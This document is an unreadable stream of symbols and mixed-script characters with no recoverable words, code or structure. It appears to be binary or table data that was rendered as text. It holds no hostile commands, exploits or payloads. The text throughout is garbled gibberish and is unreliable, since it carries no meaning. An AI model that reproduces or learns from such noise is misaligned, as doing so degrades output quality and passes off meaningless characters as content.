'!$"#%&()+1,.-/0`ш23r5<67:89;r=>?ɸɸABCDwE_FRGMHKIJ::LNPO]QçSYTVUWXrǞZ\[ɸ]^`kaebcdfighɸɸjɸɸlrmonɸpq7Ǟsutvxyz~{|}:oɚX]`>:]:::cȺX7';lɸ5ȺȺшȺɸr::ɸɸɸɸɸɸɸш5: NcrççX    5.(# !"X$%&')*+,-/0123467=89:;<>?@ABçD]EFNGHIJKLM:OVPQRSTUXWXYZ[\X^_`abcdefheijklmnopqrst|uvwxyz{:}~ȐȐX   _6g::XȐ7ȂǬȐȐȐ:Ȑ57:ȐȐȐ:ȂȐǬ:Ȑ`шȂȐ:::Ȃ::::>Ȃ7:Y:ȂȐ::ȐȐȐȐ:Ȑ::ȐȺ:::ȐȂǬ:::ȂȐ:Ȃ:ȂȐȐ:/NE (    :Ȑ:ȐȐ:ȐȂ:!Ȑ: ȐȐ"%#$Ǭ::Ȑ&'Ȑ::)7*0+.,-:/`1423:ȐȐ56::Ȑ8?9<:;Ȑ:=>Ȑ:Ȑ@CABȐ:Ȑ:D:FcGVHOILJKȂȐ:MNȐ::PSQRȐ:`ȂTUȂȐ:W^X[YZȂ:\]Ȃ5:_aȐ`ȂbȐdrelfighȬ::Ȑjk:ȐmpnoȐ:Y:q:sytwuvȐ:ȐȐxȐȂz}{|ȂȞȐ::~ȐȐ:Ȑ:ǬȞ::]:::ȐȐ:ȐȐȐ::Ȑ:::Ȑ:Ȑ:::ȐȞ::Ȑ:Ȃ:Ȑ:ȂǞ::XȐǞ:Ȑ:Y:Ȑ:=:`:::ȐXȐ::ȐȂȐN::ȐX:`:ȐȐ:::-:ȂǬrYX:7: :Y:X    ȂȂ::57:ǬȐ:ç:ɚ& #!"ȞçȐ$%ç:Ȑ'*():81+,:=.J/=071423:556:Ȃ8;9:5ç:<:Ȑ>E?B@A:5`:CD:ȐȐFHGçȐI:KZLSMPNOc:QR59l:TWUVȐ>XY:Ȭ5[a\^]:5_`5becd:ȂȐf:hSijkl{mtnqopȂ::Ȃrs>:Ǟuxvw:ǬȐǬyzȂǬ:|}~:9{::7::X:ȂȬ::ɊшǬ5c:YȂȐȂ::5ȐȂ:::Ȑj:ȐXX:ȐçȐȂȂ::ȐȂȂȐ:::Ȑ:Ȃ:Ȃ:ȐȐǬ7O1Ȃ:X:Ȑ:Ȃ:7::Ȃ::::Ȑ: Ȑ:Ȑ:ɸȐ:5:Ȑ:   Ȑ: ȐȐk[Ȑ5Ȑ::6' ȐȐç:Ȑ!$"#:ȐȐ%&M::ç(/),*+:>\:-.5:Ȑ:0312ç745:7E8?9<:;::=>;Ȑ:@BA::ȐCD:XɚFLGIH:JKX:MPNO:XQR=ȂTUVqWdX^Y[Z::\]:Ȭ_b`a:5:Ȑ:cM:ekfigh::Ȃ:jAln:m:opçrsztwuv::xy7:Ȑ{}|:::~C:çcçȂ:ȐȂç7X:Ȑ:Ȃ81Ȑ:X:XȐȂȐǬA?@ȂBC7ȐXEHFGȐ:X:I>\KRLOMN:ǬȐ>\PQ/Ȑ:ȐSU:T=ȂVW=:ȂYgZa[^\]ȐȂ:_`7::7becdYȂ:f:hnikj::lm9{::Ȃorpq:Ȑ:stȐ:Ȑvwx~y{z::|}ȐȐ:::::Y:ȂȐ:ȐȂǬȂɸ::Ȃ:::Ȃɚ:ȐȐ::Ȃ::7Ȑ:ȐȐr:Ȑ7:::X::Ȑ:Ȑ@:Y:ȐǬ::Ȃ:::::=ȐȐ`ȐXçȐ=n:Ȑ8":çȐ=Ȑ::ȐȐ:  Ȃ :  :<)::Ȑ:Ȑ::R 8!+"%#$:&(')*:X,1-/.Ȑ::0:2534:67ȂN9E:@;><=::?:ACB:ȐDYFLGJHI::ȐK:MONȐPQXpȂSmT_U\VYWX:Z[Ȑ:]^::`facbȐdeȐ:gjhi:ȂȐkl::nwotprȐq:sȐ:uvȐx~y|z{::}:Ȑ:::Ȑ:Ȑ:Ȑ9l:^:ȂȐ:Ȭ:7X::Ȃ::ǬǬçȐȐȐ7:r>:ȐȞ:Ȑ:Ȃ:::::::::ȐȐ::Ȑ::Ȑ::::Ȑ:::a) :ȐǬ:ȐȐ:YȐ:  :  Ȑ::::ç:Ȑ:Ȑ/Ȑ$! ::"#::Ǭ%&:'(:ȞȞȐ*F+9,3-0./Ȑc12ȐY:46578Ȑ::@;><=::?>ACBDEɚǞ:GSHNILJK>-ȂM:OQPȐ:RTZUWVȐlXY::[^\]:ȂȺX_`Ȃ:bc~dqekfhg>:ijȐ:lnm:op:NrwsutX:v:x{yz::|}ȂO1ȐȺY:::ȐȐ::шȂȂȐç`:ȐȐȺȐɸ:Ȃ:ȐȐ:XǬȐ:::Ǭ:ȂȐ:::ȐcȐȬ::::ȐXȐ:Ȑ   Y  cȂ:          ȂǬȐ ȐȐȂ  Ȃ Ȃ Ȑ:     ǬȐ  :Ȑ    YȐ:  ! 0 " ) # & $ %: ' (:: * - + ,Ȃ:Ȑ: . /:i: 1 7 2 5 3 4:Ǭ 6ç 8 9 ; Q < H = D > A ? @Ȑ B CȐ E F GȐ I M J K L N O PȐ R W S T U V: X Y \ Z [: ] ^: ` > a  b  c  d r e m f g j h iȐ k l: n o p q: s | t x u v w: y z {ш }  ~  :    Ȑ  Ȑ        Ȑ    Ȑ       X :    :           :  :       Ȃ Ȑ  :    Ȑ5      Ȑ     :           Ȃ     Ȃ :       Ȭ  Ȭ    :             :          Ȑ         :  :     Ȑ   Ȑ          `  7  .  )  "   !: # & $ % ' (Ǟ * + , -Ȑ / 0 1 4 2 3Ȑ 5 6Ȑ 8 9 : ; < =: ? h @ [ A T B C O D K E H F G: I J L M NȐ P Q R SȐ U V W X Y Z> \ ] ^ c _ ` a b: d e f g: i  j  k l z m t n q o pȐ r sȐ u v x w: yȐ { | } ~Ȑ       :      Ȑ            X         :       Ȑ    Ȑ               :   Ȃ       :     Ȑ        :            :    Ȑ     Ȑ         Ȃ       Ȑ  Ȑ      Y   Ȑ      6         M  .        85  5Xɩ   Ȭ7  ȺXX5 ! ' " $ #XȬ % &ȺɚXc ( + ) *Xç , -XcȺ / > 0 7 1 4 2 3X^7 5 657X 8 ; 9 :XȺ < =:ç ? F @ C A BȺXȺ D EȺXȺ G J H IȺAMX K LTXX N i O Z P T Q R SX7m U W VȺX X Yjç% [ b \ _ ] ^X ` a5Ⱥ c f d eȺ0F g hȺcX j x k r l o m n5Ⱥш p q58 s v t uȺ55 wȺȺ5 y | z {5 }  ~ Ⱥ                      Ⱥ OȺ   Ⱥ         X]Ⱥɚ  NȺ5    ȺȺ  5-      XNȺ  XȺ   ȺçȺ  Ⱥш          Ⱥ65XǞ  AM/    X5  X5ǞȺ      Ⱥ X    5]5D  X5cX        Ⱥ7m  5XX    XM  5X      X]Ⱥ  O"X    0FȺ Ⱥ  m  4         :шX  XȺ5            5XȺ  rX9{X    ȺX X  &      5Ⱥ  5bX  # ! "çȺc $ %AM ' . ( + ) *XX5 , -ȬȺ / 2 0 1шç5 3 5 Q 6 E 7 > 8 ; 9 :Ⱥ5ш < =8 ? B @ AȺ C DȺcш F K G IȺ H77 JȺç5 L NX MX: O PçX R ` S Y T V UɩX W X5Ⱥ Z ] [ \Ⱥj` ^ _ç8 a g b d c5 e fȺȺ h k i j:X lȺ n  o  p } q w r u s t55 vX x z yȺ5X { | ~    Ⱥ  XȺX    Ȟ  5Ⱥ      X ]ш  XȺ    X5  ȺȺ       5    ȺX  Ⱥ-Ⱥ-            Ⱥ5    ш  5:      ȺȺX  шX    ȺX  Ⱥç5       Ⱥ XçȺ    ȺXc X:      ȺɩO_X  ]    шç5  шlX    _  #          Y  5X-    -5Ⱥ Ⱥ      9{-  O"5    ȺY]  :XȺ        9XNȺ ɚ    X  ȺX      :5]  ȺrX  ] ç>- ! "OX $ A % 2 & - ' * ( )=ȺȺç + ,X]CX . 0X /Ⱥ7| 1X 3 : 4 7 5 67Ⱥ 8 9ɸXX ; > < =шX5 ? @ȺXX B Q C J D G E FXш H IXXȺ5 K N L MȺ5 O PXXNX R X S U TXȺ5 V WшXXɩ Y \ Z [ȺXçX ] ^X8 `  a } b o c i d fX eȬ g hшш j m k lcɚȺX nX p w q t r s=Ⱥ u vȺNш x { y zXшX |YX ~       XXX  ȺX    X5Ⱥ  7ȺX      ȺX  ȺX65   Xç  >          7XçȺ  XǞ   Ⱥ  ȬȺ      5cȺ  Ⱥ   :- ]        ȬX  ç:A"    ȺXȺX      c7Ⱥ ȺǞ   Ⱥ  XȺ K           ȺȺ  XшȺш    X5  5X5Ⱥ      :XȺv%  7Ⱥ5    ȺɚX  5X    X 5    XȺȺ X N5Ⱥ8Ⱥ    Ⱥ5l7X>/!`5AMшX- ȺɚȺ"(#%Ⱥ$AM&'Ⱥr),*+XX]-.Xç0?1825345767XȺ9<:;XȺXȺ=>ȺX@DABCXȺEHFGȺIJAMȺLMlN]OVPSQR5X7ǞTU5WZXY9{:^[\c5^e_b`aȺXȺXcdȺfighçXIȺjk]Ⱥm|nuorpqȺȺstXȺvywxT7mz{Ⱥ-5}~XX5MȺȺȺ-ȺȺɩȺXȺ]XȺXçrX]XXȺȺXɚȺȺXȺX5XȺXXɸ557ç5ȺȺ5Ⱥɸ5X]ɸç@]X]]]5X`]]:Ǟc]Ⱥ]X555X:5шȺçXɩ-ȺǬ5Ǭɩ5ȺǞ"   X]X  /шX]XO"XǬçȺ5XXȺȺ5 !55Ⱥ#2$+%(&'c5)*=ç-,/-.X01XX3:4756XȺ5895çȺX;><==XȺY?XAuBZCQDKEHFG<)IJ7LOMN-^8@Pc^RUSTçVXWçȬY][i\b]_^Ⱥ>k`aXXcfdeȺXȺghȺɸ5jqknlm57Ⱥopcrstɸvwx~y{zȺ|}:57=ȺccȺ5X-57c^Ⱥ:ȺX]XXɩшȺ5ç50FȺȺ$Ⱥ5ȺȺȺȺXȺ87ȺXXX5X77ȺXXȺȺXXNX5ȬXXȺçXɩ5Ⱥ]XXlXX-cçȺ6X9{    5 X5XXȺȺɸȺȺX! M5T"#X5%Y&A'5(/),*+-ɚ-.XO"0312ȺȺ4Ⱥ6<798Ⱥ:;Xɸɸ=?>@ȺXɸBNCHDFEɸXɸG8ɸIKɸJɸLMȺɸOTPRɸQɸ5SɸɩɸUWVɸɸɸXɸZu[h\b]`^_k[XȺa]cfde]89lgXXiojlkXmn5YYprqstȺ-vw~x{yzX-:|}]YȺX5Ȭ]Ⱥ>]yXȺ65XȺ5ȺXp5Ⱥш-Ⱥ^XXȺOP-Xc7]7-XX8ш55Ⱥ]cç7ȺȺXȺȂ=cX7B$    =Ⱥ YȺȺ]7Ⱥ5^>:! 50F"#ȺXȺ%3&,'*()8"5+5-0./=12XX4;586759:X5<?=>7mX5@AXȺC]DPEIFGH5JMKLkK5NOXȺQWRTSUVXX[YZçȺX\çȺ^k_e`baçcdç:çfighȺȺj5lsmpnoȺɸqrXtvuȺXwx5Ⱥz{|}~5Ⱥ:]>X-XX5lXcȬ5-k[=ȺcO"5AM55ȺMX5ɚXXXX5AMɚ]ɚ5ɩȺ-ȺȺ5N5:]ȺȺ5ȺɚȺȺ:ȺcXȺ5ȺO1ȺXш    5 Ȟ]AMȺXAMX-gj`O/- '!$"#YeI%&kNY(+)*;,YX.2/01345Ⱥ78{9W:L;F<A=>?@BCDEGHIJKMNOSPQRTUVXnYfZ[_\]^Ⱥ`cabde5ghijlkXmoupqrstȺvwxyz|}~565Xb1}>cXNXXO1XXYɩXX7XȞX0FXXXȂXOPX0FX/XO_ɩX9{XXXN=X:XXXX%     X0FшXX7mXǞXXX7mXX" !XX]#$ɩX&1'-(*)XAMX+,XXX./0XX283645X5X7ɩ-59;:XшX<=XX?q@WALBGCED0FXXFXHJXIXcKɩXMQXNOPXXRUSTX0Fɩ0FVXXbY\ZXX[ɩX]`^_-XO"aXXcjdgefXɩhiXXknlmX0FopcXXrstzuxvwXyX{}|X~NX79{-XXɩXXX7mшɩXXXXAMXXX8"XXXɩXçXXɩXXXXXX0FX9{XXǞXXX/XXXXXX-XNXXO1iXXɩXшXXXɩXX0FX0FiXXɩX0F-0FXç0F Xɩɩ7 XX- X5  XYXXXXlXI2(!XX ɩX"%#$XX&'X),*X+X9-0./5cAMX10FX3<48X567X9:Xɩ;XXɩ=C>A?@X7mXBXɚXDGEFXHɩJcKWLQMOXNXPXXRUSTXȺXXVXX^Y\Z[9{XшX]XX_a`XшXbXdpeifhgXɩXXjmklXɩXno80Fɩ7mqwrtXsXMuvXɩXxzXy5X{|X9{X~]XɩXXXXɩ9{XȺXXXXX5]X7mXX0FXɩXXXXXXXɩXɩX0FX8"X9lXv%X9{XXXXXX0FX9{0FXXiXXcXXAMXXXXɸXXɩ]X-çXXXAMXȬ7mAM% rȐXɩççXçXXXXXX XX  ç7mX XXXN65XɩXX5ȞX5" !XXш#$ç/X&C'5(.),*+Ⱥ-0FȂ/201XX348"X6=7:89ɩɩAM;<XɩX>@?DABXDPEJFHGX9{I0FKMLXXNOшɩXQWRTSXNXUVXȺ0FXZXY[\0F5X^_`xalbgcdXef0F5hjXiɩXXkɩXmsnpoXX9{qrXɩXtvXu9{5wXɩyz{}|X0FX~0FXX0FX7XɩXXl>XXXXXɩX5XȺXXXXXXȐɩX-XX7mXшXçX]Xɩ9{57XXXXXXXçAMXX`XXcX9{XXшXXшXX7mXX0FX0FXX>XɩXO1v%X7m>X0FȞ9{ɩX8X XшAMXш Xɩ7X   XX7X0FXçXшX9{7|X&XXXɩ #!"XAM$%XX'+(X)*XɩX,.-X/0XXç2345n6T7E8?9<:;X7XȬ=>0FɩX@CABшXDXFMGJHIX9{KLX-NQOP9{XXшRS0FU`V\WYXXɩXZ[XAM7]_X^>XXagbecdXfX5hkij]XlmǞɩXɩop}qwrtsXYuvȬXcxzyXXXɩXXX9{XɩXXш9{:X5X7mX-ɩXXl9{XȐ: X0FXçX> 5X X  ɩшɚO"5XN0F]XXv%XS8+%" !TȐX#$XA"&('9{)*Xɩ],2-/.XcAM01XX3645XǬ5X7XX9G:@;><=OP0FX?XADBCȬшXEFXHMIKJX5LXȞNQOPшɩXRXrXTqUdV]WZXYXшX[\rXXD^a_`ɩXbcɚX0FXejfhgX7miXknlmX7mXopAMXnXrsytwuvAMXAMXXxz|{XXɩ}~XXXXcAMX7m9{XXXX5XXXX7X7mX0FXɚXO"TX8XXX:ç-AM/XXXAMXX-X9{X0FXcXXXшXǬXXNXш9{XçXXшXOoX0FXXXçXXшXXɩȺXXNNl_,XɩXɩlO1XшXXN   XX] XXɩ XXшXYX XAMXXXXXXTшX!%X"#$çXX&)'(AMXX*+v%çO1ɩ-D.9/3012шɩX465XXc78X5X:>;X<=]c9{X?B@AX7CX:XERFLGJHIXɩXKXMPNOX0FXQɩSXTVUXȺXWXY\Z[X59{]^XɩX0F`a}bpcidfXe0Fшgh9{XjmklX9{Xno7шX7qwrtXsAMuvXçxzXyAM{|Xs~XXX7XXɩX5XXXɩXȬȞXXçcXɩYXXXXX0FX9{XXɩш:XXAMXшcXXXɩXXшXX7XXXXX-XX0F?YXXAMXX-]XXɩXX0F>-Xc77X]XXXXXX9{XX7ç5XXXX "    XHXɩXɚXAMXXX:X7ɩX !9lX0FX#2$+%(&'XX)*5XX,/-.7m-c01AMX39465>LZ 788"ȬX:<;XX]=>ɩAM@yA^BPCIDFEXXYGH0FXJMKLXɩXNOXXQWRUSTXAMXXV7XX[YZXAMɩ\]XAMçX_n`gadbcAMX0FefXX7mhkijXȺlmXAMXotprqXXXsXuxvwcɩXXz{|}~X9{XɩXAMXMȬXYXX0FXAMX@XXXXXX5XXXXXXç57XX0FшXɩXXO1XX7fXX]AMXXAMXOoAMXXX8XXX0FX55XX>\XlXXO1XçXXAMXшX0FXXɩAMXXX5XɩXUXAMX7XAM9{XXXXXX75  XXX 7X  XX65XXv%X:XXXX0FXS9 -!&"$X#X9{%X]'*()шXXX+,AM/>\.3/1X0ш24756XXɩX8ш:E;>X<=X>5?B@A>XCDXɩXFMGJHI>X0FKLшXNP65OXQRɩXTmUbV\WZXYXɚX[XX]_ɩ^шX`aXXcfXdeXgjhiXAMXklAMXnyovpsqrшXXtuXXXwxXшz{}|X~XXɩXXXɩO1X7|XX-X-//5XNXXX0FшXXXYXɩXшXY/XX-ɩXX/шX9{5>X0FAM:XɩXXɩ>X7>0FȬAMXXXXXX-XXXɩXXш9{XXȞXXO1>XXXc1ccXXX-AMXcX X   Xш 8"X/ɩɩX#Xɩ50FX7m XX!"XXX0F$+%(&':XX)*5Xc,/-.]Xш0XX2M3@4:576XX89XX;=<XX>?XçXAHBECD>:FGXXXIKJXXL:XN[OUPRXQXNSTɩɩVXXWXYZX\c]`^_XcXabXYXdXeX7шg/hijkwlrmpnoX:Xq0FɩsuXtXvXxy|z{çшX}~XXшXXXǬXXXXAMX9=XXXXXAMXXXɩшXXXXXXɩXXXXXȺXXXXXXɩXX-XX-ȺXX7X7X5ɩXXXXX0FXAM7XɩшXAM     XXAMXɩXXYXX!XшXX0FXX]X X")#&$%7mlAM'(X5ç*-+,-XXшX.XAM01f2L3A4:576XX89X5ɩ;><=X:AM?@шXXBECXDXcXFIGHXXXXȬXXYXAM7mXcXNkKu: XcXX YA"   ɩ7mшXNXXXYNXXX5X, '!$"#ɩX%&XX5(*)AMX+XXAM-3.1/00FXX2ɩX4756XXc89XAMX;Y<J=C>A?@AMшBXX7DGEFXNXHI]X]XKRLOMNшXPQXXSVTUX-5WXX]:5Zg[a\^]XX>_`XYɩbdcXXO1ef9{XAMhoiljkXɩɩmnXɩш:prшqшstXшXvwxyz}{|XȺ~X0FX]9{9lXXçX5XAMɸXAMXXɸXɸɸɸɸXXXɸ7mXXɸɸɸXɸXXɸɸXɩɸɸXɸXXXXAMXXXɸɸXɸɸXXɸɸO1ɸ0FAMXXXA"XXcXшc5XXXɩXшXSAMɩXXXɩXXXXXɩX5XO1XɩX0FXXǞ    X XX5XAMXXXXcXшcX8 ,!'"$X#5%&XX(*)X9lNX+-3.0/XXM12XX46X5X7Xɩ9E:?;=X<7X>0FAM@BXAXCD-XXFMGJHIXAMNXKLçXXXNQOPXO1XɩXRXTUoVcW]X[YZXX\XXɩ^a_`7XшXXbNɩdjehfgXɩXiX:XkmlXXȬXnXшpwqrtXsXuvXAMɩx~y|z{0FX}XXXcXXXXXшn5XX0F7XXɩXXɩшX5X7XXXXXXXXX-XpXXAM9XXXXX]]>\5X-X9{XX:XXsX75><XXXXɩYXXɩ0FXǞǞ>L7Xш9{X9{X5XXɩXɩXXA"XXX7mXXXXXXX XçX  X  X$AM !"#X%*&'()X+/,-.0312465578:[;<L=D>A?@XBCXEIFHG7mXJKɩMSNOQP7mRXTXUVWXYZ\]^_`aXcdfghijklmnyopqrstuvwx`z{|}~Ǭ)&#+![  Ǭ:XǬ`ç:ǞǬ/Ȟ7Ǭ:ǬȂ:ǬǬ7Ȟ`ɸ:Ǭ:7:ǬǬ:Ȭ::ȐȂǬXǬ`ǬǬ/:Y:`XǬ:`Ǭ`:Ǭɸ7ǬȞ:::ȬǞ:7Ǭ:Ǭ:ǬǞǬǬȬȬǬǬȐ:ǬǬç Ǟ ǬȐǬ    :Ǭ7  ɸǞǬ  C  %       :  ǬȞ   Ǭ`: Ǭ     :Ǭ  Ǭ`>\  "  !Ǭ/: # $ǬǬ: & 5 ' . ( + ) *XpȞ:N , -:ɸȞ / 2 0 1`ǬȞX 3 4Ǟ::Ǭ 6 < 7 : 8 9ɸǞ`Ǭ ;Ǟ = @ > ?>:Ǭ: A BǬ:ǬY D b E S F L G I HǬ/: J KȬ: M P N O:YǬ Q RǞY T [ U X V W:Ǭ:` Y Zɸɸ \ _ ] ^>ɸY ` a=7 c r d k e h f gǞǬ i j:`` l o m nȐ: p qǬǬ s x t v u:Ǭ wǬ y | z {ǬǞǬ } ~ȐN              ȞǬT  ǬȬ:    Ǭ:  -:ǬȞ    Ǭ :  ȞǬǬɸ    :ȞǬǬ :      :Ǭ  ȞǬǬ    /ɸȞ= ǬǬ  Ǭ Ǭ:  Ǭ ǬȬ  Ǭ`/:          ǬXǬ ǬɸȞǬ  ǬǬȞ    Ȃ Ǭ  `ǬǞ`    XȺǬ  ǬȂ        ǞȂǬȂǬǞ    Ǭ:>k  Ǭ:7      :cǬǬ @Ǭ    ǬǬǬ !# !        Ȟ:  Ǭ:Ǭ  Ǭ Ȃ :Ǭ: !  Ǭ X  Y::Ǭ!!!!Ǭ`Ǭ!!ǬǞ:!!! !! ! ! ! `ɸǬ!!/>/:!!!!`:!!Ǭ:ɸ!!!!!!Ǭ:ȂX!ǬǬ:!!!! ǬǬ!"Ǭ:!$!A!%!3!&!-!'!*!(!)ɸX:!+!,`Ǭ!.!1!/!0Ǭ!2::Ǭ!4!;!5!8!6!7Ȟ:Ȟ!9!:Xɸ:!<!?!=!>ɩ]Y!@Ǭ`!B!O!C!J!D!G!E!FǬȞ!H!I`Ǟ!K!M!LǬ`!NǬǞ!P!T!Q!R`Ǭ!SǬȂǬ!U!X!V!WǬ`:!Y!ZǬ`XȞ!\"H!]!!^!!_!{!`!m!a!h!b!e!c!dɸ::!f!gǬȞ!i!k!jǬǞ!lǬǬ:!n!u!o!r!p!qǬX!s!tȞXǬ!v!x!wǬǞ!y!z5ǬǬ!|!!}!!~!!!ǞǬ:Ǭ!ǬȞ!!!ǞȂ!!Ǭ/ш:!!!!!!ǬȐ/!!Ǭ/Ǭ:!Ǭ!!ɸǬ:!!!!!!!!!!Ǭ:Ȟ!!ǬǬ!!!!:ǬǬ!!Ǟ:!!!!!!ǬȞǬ!!7Ȟ!!!Ǭ!ǬǞ!!!!!!!!ǬǬ!!://!!!!Ǭ:81:!!Y:!!!!!!:Ǭ:Ǭ!:!!!!:ɸǬɸ!:!" !!!!!!!!!!Ǭ/>\!!/:!!!!Ǭ:Ǭ!!Ǭ:!!!!!!ǬbbǬ!!ǬȞǬ!!Ǭ!ȂǬ!!Ǭ:Y!!!!!!!!ǬçǬ`!!!!ǞǬ`X!!::!"""""/:Ǭ""Ǭ:Ǭ"" "Ǭ`Ǭ" " NçX:" "*""""""Ǭ"7Ǭ"":""""Ǟ:Ǭ""Ǭ:""#"" :":Ǭ"!"":X:"$"'"%"&/Ǭ/"(")ȐX"+":","3"-"0"."/cǞ"1"2ç:"4"7"5"6Ǭ::Ǭ"8"9X/Ȃ";"B"<"?"=">Ǭ:"@"AǬ`Ǭ"C"F"D"EȐ`Ǭ"GǬ:ш"I""J""K"f"L"X"M"Q"NǬ"O"P:Ǭ"R"U"S"T`::ɸ"V"WǞɸȐ"Y"_"Z"]"["\/7ǬǬ"^ǞN"`"c"a"bȞ]Ǭ"d"eX>\"g"u"h"n"i"k"jǬǬǞ"l"mǬǬ"o"r"p"qǬkKǬAM"s"tȂXȐ"v"|"w"z"x"yȂǬ7"{:Ǭ"}""~"X:Y""ɚXǬ""""""""""ǬǬ""`ȬǬ""Ǭ"Ǭ""ǬǬ""""":7""""7Ǭ:Ǭ""Ǭ`"""""":":Ǭ""Ǭ:Ǭ""":Ȭ""""""":`""`ǬǬȂ"""Ǭ:7""Yr""""""""Ǭ"Ǭ":Ǭ""""ǬC:Ǟ""X:XǞ""""Ǭ"7Ǭ"ǬȞ""""/@:""/Ǭ`Ȟ""""""""`/@""Ǭ/Ǭ""""`""ȬǬǬ"""""ǬȞ:"ɸǬ""""ȐǬ:Ǭ"#"#"""""">\ǬǬ"":ɸ:Ǭ"""":7/X"#`Ǭç## ####/ǬǞ##:5:Ȟ# # # # Ǭ##Ȟ:Ǟ`########`:#``##Ǭ#Ǟɸ##ǬX##%# ###!#":Ǭ/ǬǬ#$YǬ#&#)#'#(Ǭ:Ǭ#*:Ǭ7#,$#-$#.##/#j#0#M#1#>#2#8#3#5#4Ǭ`#6#7I::#9#;#::<)#<#=Ǟ`:#?#F#@#C#A#B/Ǭ7#D#E`:7#G#J#H#IǬ7Ǟɸ#K#LI`X:#N#[#O#U#P#R#QǬ:#S#T:8@Ǭ#V#Y#W#XǬȞǞ#Z:#\#c#]#`#^#_ǬǬ#a#bȞ7=Ǟ#d#g#e#fM:8X#h#iǬY:Ǭ#k##l#y#m#s#n#p#oǬ>k#q#r:Ȭ:#t#w#u#v:]Ǭ:#x`l#z##{#~#|#}Ȟ:Ǭ:##::l##:Ǭ##7Ǭ########:ǬǬ##Ǟ###Ǭ/Ǭ##:######::##Ǭ::####:##:Ǭ############6:7:##ǬǬ####ɚǬǬ:##/:#####ǬǬ:##/`Ȑ##:##Ǟ:Ǭc########n`Ǭ##Ǭ`####/Ȃ#:######7:##ǬǞ####Ǟ:::#r##########ǞǬ`####7ǬN##ǬȞ####Ǭ#::#Ǭ####Ǭ`Ǭ:#Ǭ`#$#$##:#$:Ȟ$$$$ç:Ȭ$$Ȟ>:$ $$ $ $ $ Ȃ$$:5$$$$lǬ:Ǭ/$Ȃ$$$$T$$6$$($$"$$$$ǬD`$ $!ɸ`Ǭ$#$%:$$Y$&$'7Ǭ`Ȟ$)$0$*$-$+$,Ǭ:Ǭ$.$/:Ǭ$1$4$2$30FǞǬ:Ǭ$5:$7$E$8$?$9$<$:$;`ǬȐ$=$>`::Ǟ$@$B$AǬ:Ǟ$C$DȞçǞǬ$F$M$G$J$H$I:`:$K$L`Ȑ/$N$Q$O$P`ȞǬ$R$S:`:`$U$s$V$e$W$^$X$[$Y$Z`Ǭ:$\$]Ǭ:Ǭ:$_$b$`$aǬ:@=$c$dǬ>\Ǭ$f$l$g$j$h$iǬN:$k::$m$p$n$oǬ:$q$rǬ:]$t$~$u$wǬ$vǬ$x${$y$z:Ȑ$|$}ȬǞ$$$$$:$$$$@$$$$$$$$$$$$7Ǭ$Ǭ$$$Ǟ:$$Ǭ$$$$$Ǭ$$`Ǟ$$$:`:$$$$$$$ǞǬ$$Ȟ:$$$$ɸ7$$ǬǬ$$$$$Ǭ:$$::$$$$::$$N`$$$$$$$$$$Ǭ$$Ǭ:/:$$$$:Ǭ$$$$$$$:ȞǬ$$@::`$$$$ǬȐ$:ç$$$$$$$$ǞAMDǬ$$YY:Ǟ$$$ǬǞ$Ǭ<)Ǭ$$$$$$$Ǭ$$$$:Ǭ$:/$%$%d$%2$%$% $%%%%%:ȬǬ%%Ǭ`iǬ%% %Oo% ǬǬ:% %% %:%Ȑ%%%%<)Ǭe%Ǭ:%%%%%%%%%8%%:% %"%!Ǭ%#%$ǬȞǬ%&%,%'%*%(%)Ǭ:Ǭ%+Ǭ:X%-%/%.%0%1`:ǞǬ%3%L%4%B%5%;%6%8%77%9%:ǬȞǬ%<%?%=%>ǬǬ%@%A`Ǭ%C%I%D%G%E%F``Ǭ%HǬ%J%K`Ȟ%M%Y%N%S%O%Q%PǬǬ:%RX:%T%W%U%V`:%XǬ`%Z%_%[%]%\Ȭ%^:Ǭ%`%b%aǬ`%c7%e%%f%%g%u%h%n%i%k%j:Ǟ%l%m:ш%o%r%p%q:Ȟ%s%tȐ`7%v%{%w%x:%y%zǬY%|%%}%~::ɸ:Ǭ%%%%%%%%ǬȞ%Ǭ%%%3%%%%%%ǬǬ%%::%%%Ǭ%%:3%%%%%%%%%:Ǭ%%ǬǬ%%%%81Ǭ%`Ȭ%%%%%ǬǬ%%%%:Ǭ%`%%%%%%%%ȞǞǬ%%%:%Ǟ%%`Ǭ:%%%%%%:%%::%%%%c:%%Ȟ%&=%& %%%%%%%%%%ǬXǬ%Ǟ%%%:%%::Ǭ%%%%%Ǭ%%ǬǬ%%%:%^%%%%%%%/%%ȞǞ%%%%:Ǟ:%%Ǭ:%&%&&&Ǭ:r&ǬX&&&&ȞǬǞ& :& &"& && &&&&&YǬ:&&`Ǭ:&&&:Ǟ&&&&&:`&& &/&!:Ǭ&#&0&$&)&%&'&&Ǭ&(:&*&-&+&,ǬǬ&.&/:@&1&7&2&4:&3:&5&6n&8&;&9&:::&<Ǟ:&>&s&?&Y&@&K&A&F&B&D&CǬ&EȞ&G&I&H7&JOo&L&S&M&P&N&O/n&Q&RǬǬ&T&V:&U:@&W&X:`&Z&f&[&`&\&^&]:Ǭ&_`&a&c&b`&d&eǬX&g&m&h&j&iǬ&k&l:Ǟ&n&q&o&pǬ:&r`&t&&u&~&v&y&w&xǬ&z&|&{`&}:kk&&&&&&Ǭ&&:>\:&&&:Ǭ:&ǬȬ&&&&&&&Ȟ:&&&Ǟ&&7Ǟ&&&&&`&&Ǟ&&&`ɸ&Ǭ`&(&(:&'y&'&&&&&&&&&&&&Ǭ:&&:Ǭ&&&Ȟ&&:ç:&&&&&Ǭ`&&Ǭ:/&&&&:Ǭ&:&&&&&&&:&&`Ǟ:Ǭ&&&&ȬǬ&&:Ǭ&&&&&&ǬǬ&&::&&&:Ǭ&&`ǬX`&&&&&&&&&Ǭ`&&:NǬ&&&&Ǭ:/&&:Ǭ&&&&&&/Ǭ&&:ǬX&&Ǭ&' &''''ǞǬ''ɸ:X'' ''Ǭ:' Ǭ' '' '''ǞǬ''7Ⱥ'''::''E'',''!''''':' 